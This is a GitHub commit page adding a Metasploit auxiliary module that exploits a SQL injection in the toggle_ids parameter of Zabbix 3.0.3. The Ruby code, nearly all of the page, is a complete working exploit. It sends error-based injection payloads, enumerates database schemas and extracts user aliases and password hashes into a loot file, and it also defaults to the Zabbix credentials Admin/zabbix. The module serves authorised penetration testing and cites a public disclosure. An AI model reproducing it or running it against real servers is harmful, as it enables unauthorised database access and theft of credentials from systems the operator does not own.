Skip to content

Commit 81bc6bd

Browse files
committed
Land rapid7#7228, Create zabbix_toggleids_sqli auxiliary module
2 parents 8b9661d + 874fec4 commit 81bc6bd

File tree

1 file changed

+268
-0
lines changed

1 file changed

+268
-0
lines changed
Lines changed: 268 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,268 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Zabbix toggle_ids SQL Injection',
16+
'Description' => %q{
17+
This module will exploit a SQL injection in Zabbix 3.0.3 and
18+
likely prior in order to save the current usernames and
19+
password hashes from the database to a JSON file.
20+
},
21+
'References' =>
22+
[
23+
['URL', 'http://seclists.org/fulldisclosure/2016/Aug/60']
24+
],
25+
'Author' =>
26+
[
27+
'[email protected]', #discovery
28+
'bperry' #module
29+
],
30+
'License' => MSF_LICENSE,
31+
'DisclosureDate' => 'Aug 11 2016'
32+
))
33+
34+
register_options(
35+
[
36+
OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),
37+
OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),
38+
OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),
39+
OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])
40+
], self.class)
41+
end
42+
43+
def check
44+
45+
sid, cookies = authenticate
46+
47+
left_marker = Rex::Text.rand_text_alpha(5)
48+
right_marker = Rex::Text.rand_text_alpha(5)
49+
flag = Rex::Text.rand_text_alpha(5)
50+
51+
query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
52+
query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
53+
query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
54+
query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
55+
56+
res = make_injected_request(query, sid, cookies)
57+
58+
unless res and res.body
59+
return Msf::Exploit::CheckCode::Safe
60+
end
61+
62+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
63+
64+
unless match
65+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
66+
end
67+
68+
if match[1] == flag
69+
return Msf::Exploit::CheckCode::Vulnerable
70+
end
71+
72+
Msf::Exploit::CheckCode::Safe
73+
end
74+
75+
def run
76+
sid, cookies = authenticate
77+
78+
left_marker = Rex::Text.rand_text_alpha(5)
79+
right_marker = Rex::Text.rand_text_alpha(5)
80+
81+
query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
82+
query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM"
83+
query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x"
84+
query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
85+
86+
res = make_injected_request(query, sid, cookies)
87+
88+
unless res and res.body
89+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
90+
end
91+
92+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
93+
94+
unless match
95+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
96+
end
97+
98+
count = match[1].to_i
99+
100+
dbs = []
101+
0.upto(count-1) do |cur|
102+
103+
get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
104+
get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)"
105+
get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]},"
106+
get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
107+
108+
res = make_injected_request(get_dbs, sid, cookies)
109+
110+
unless res and res.body
111+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
112+
end
113+
114+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
115+
116+
unless match
117+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
118+
end
119+
120+
dbs << match[1]
121+
end
122+
123+
dbs.delete("mysql")
124+
dbs.delete("performance_schema")
125+
dbs.delete("information_schema")
126+
127+
users = []
128+
dbs.each do |db|
129+
cols = ["alias", "passwd"]
130+
131+
user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
132+
user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM"
133+
user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
134+
user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
135+
136+
res = make_injected_request(user_count, sid, cookies)
137+
138+
unless res and res.body
139+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
140+
end
141+
142+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
143+
144+
unless match
145+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
146+
end
147+
148+
count = match[1].to_i
149+
150+
0.upto(count-1) do |cur|
151+
user = {}
152+
cols.each do |col|
153+
get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
154+
get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)"
155+
get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}"
156+
get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
157+
158+
res = make_injected_request(get_col, sid, cookies)
159+
160+
unless res and res.body
161+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
162+
end
163+
164+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
165+
166+
unless match
167+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
168+
end
169+
170+
user[col] = match[1]
171+
end
172+
users << user
173+
end
174+
end
175+
176+
loot = store_loot("zabbixusers.json","text/plain", rhost, users.to_json)
177+
178+
print_good('Users and password hashes stored at ' + loot)
179+
180+
end
181+
182+
def authenticate
183+
res = send_request_cgi({
184+
'uri' => normalize_uri(target_uri.path, 'index.php')
185+
})
186+
187+
unless res and res.body
188+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
189+
end
190+
191+
cookies = res.get_cookies
192+
193+
match = /name="sid" value="(.*?)">/.match(res.body)
194+
195+
unless match
196+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
197+
end
198+
199+
sid = match[1]
200+
201+
if datastore['REQUIREAUTH']
202+
203+
res = send_request_cgi({
204+
'uri' => normalize_uri(target_uri.path, 'index.php'),
205+
'method' => 'POST',
206+
'vars_post' => {
207+
'sid' => sid,
208+
'form_refresh' => 1,
209+
'name' => datastore['USERNAME'],
210+
'password' => datastore['PASSWORD'],
211+
'autologin' => 1,
212+
'enter' => 'Sign in'
213+
},
214+
'cookie' => cookies
215+
})
216+
217+
unless res
218+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
219+
end
220+
221+
if res.code == 302
222+
cookies = res.get_cookies
223+
224+
res = send_request_cgi({
225+
'uri' => normalize_uri(target_uri.path, 'latest.php'),
226+
'vars_get' => {
227+
'ddreset' => '1'
228+
},
229+
'cookies' => cookies
230+
})
231+
232+
unless res and res.body
233+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
234+
end
235+
236+
cookies = res.get_cookies
237+
match = /name="sid" value="(.*?)">/.match(res.body)
238+
239+
unless match
240+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
241+
end
242+
243+
sid = match[1]
244+
elsif
245+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
246+
end
247+
end
248+
249+
return sid, cookies
250+
end
251+
252+
def make_injected_request(sql, sid, cookies)
253+
send_request_cgi({
254+
'uri' => normalize_uri(target_uri.path, 'latest.php'),
255+
'method' => 'POST',
256+
'vars_get' => {
257+
'output' => 'ajax',
258+
'sid' => sid
259+
},
260+
'vars_post' => {
261+
'favobj' => 'toggle',
262+
'toggle_ids[]' => '348 ' + sql,
263+
'toggle_open_state' => 0
264+
},
265+
'cookie' => cookies
266+
})
267+
end
268+
end

0 commit comments

Comments
 (0)